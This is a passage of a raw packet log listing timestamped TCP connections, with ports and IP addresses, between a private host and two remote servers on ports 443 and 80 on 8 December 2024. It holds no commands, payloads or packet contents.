Dec 8, 2024 17:45:47.179815054 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.179821014 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.179874897 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.189800978 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.189815998 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.189857006 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.189865112 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.189918041 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.198594093 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.198609114 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.198713064 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.198719025 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.198823929 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.200531006 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.200551033 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.200613976 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.200624943 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.200723886 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.201956987 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.201977968 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.202044964 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.202050924 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.202071905 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.202111006 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.206458092 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.206474066 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.206526041 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.206533909 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.206578970 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.207982063 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.208007097 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.208051920 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.208056927 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.208081007 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.208108902 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.209413052 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.209428072 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.209471941 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.209476948 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.209506989 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.209527016 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.211806059 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.211821079 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.211865902 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.211874008 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.211919069 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.213843107 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.213875055 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.213900089 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.213902950 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.213934898 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.213943005 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.214035034 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.217681885 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.217698097 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.217772007 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.217780113 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.217822075 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.218173981 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.218190908 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.218260050 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.218266010 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.218344927 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.219223022 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.219238043 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.223721981 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.223742008 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.224217892 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.224227905 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.224293947 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.227925062 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.227962017 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.227986097 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.227993011 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.228013039 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.228027105 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.228055954 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.232490063 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.232505083 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.248853922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.248940945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.248986006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.249047995 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.249365091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.249424934 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.249501944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.249567032 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.250567913 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.250643969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.250672102 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.250833988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.251338005 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.251394987 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.251502037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.251611948 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.252685070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.252763987 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.252789021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.252826929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.253782034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.253840923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.253853083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.254010916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.254793882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.254833937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.254857063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.254872084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.255944967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.256002903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.256022930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.256066084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.256907940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.256941080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.257041931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.257231951 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.258084059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.258127928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.258207083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.258337975 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.259244919 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.259284973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.259325027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.259402990 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.260323048 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.260370970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.260437965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.260476112 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.261481047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.261590004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.261626005 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.261766911 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.262675047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.262744904 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.262782097 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.262816906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.263647079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.263691902 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.263736963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.264755964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.264864922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.264894009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.265016079 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.265957117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.266028881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.266068935 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.266109943 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.267072916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.267113924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.267189980 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.268152952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.268214941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.268234015 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.268280983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.269257069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.269323111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.269335032 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.269361019 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.270354986 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.270442963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.270509005 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.270591021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.271450996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.271555901 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.271567106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.271605015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.272574902 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.272639036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.272691011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.272866964 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.273694038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.273739100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.273802996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.273870945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.274854898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.274904966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.275038958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.275119066 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.276006937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.276045084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.276087999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.276087999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.277060032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.277127981 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.277165890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.277213097 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.278157949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.278237104 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.278264046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.278316021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.279284000 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.279330969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.279402018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.279448986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.280440092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.280488968 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.280539989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.280575991 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.281500101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.281543016 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.281605005 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.281708002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.282711983 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.282777071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.282799006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.282938957 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.283787012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.283854008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.302644014 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.302784920 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.308825970 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.308836937 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.309297085 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.309303045 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.326040030 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.326061964 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.326169014 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.326194048 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.326314926 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.343102932 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.343120098 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.343236923 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.343255043 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.343343973 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.351849079 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.351865053 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.351960897 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.351975918 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.352049112 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.360430956 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.360460043 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.360560894 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.360579967 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.360711098 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.367847919 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.367866993 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.367940903 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.367953062 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.367999077 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.373847961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.373919964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.373933077 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.373964071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.374242067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.374288082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.374293089 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.374325991 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.375268936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.375284910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.375332117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.376362085 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.376378059 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.376405001 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.376421928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.376463890 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.376471996 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.376498938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.376553059 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.377533913 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.377546072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.377579927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.377590895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.378607988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.378659964 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.378690958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.378815889 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.379760027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.379877090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.379920959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.379992008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.380852938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.380914927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.381037951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.381083965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.381982088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.382040024 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.382108927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.382158041 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.383131981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.383145094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.383189917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.384258032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.384294033 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.384301901 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.384316921 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.384325027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.384376049 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.384387970 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.384411097 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.384443998 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.385346889 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.385390043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.385396004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.385754108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.386437893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.386485100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.386625051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.386694908 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.387590885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.387636900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.387757063 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.387799025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.388710022 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.388787031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.388854980 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.389803886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.389857054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.389897108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.389931917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.390922070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.391010046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.391016006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.391062975 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.392049074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.392126083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.392157078 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.392273903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.393034935 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.393049955 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.393187046 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.393198013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.393198013 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.393241882 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.393241882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.393331051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.393369913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.394279957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.394364119 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.394438982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.394509077 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.395422935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.395435095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.395472050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.395490885 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.396569967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.396632910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.396658897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.396711111 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.397600889 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.397672892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.397686958 CET	49805	80	192.168.2.6	185.215.113.206
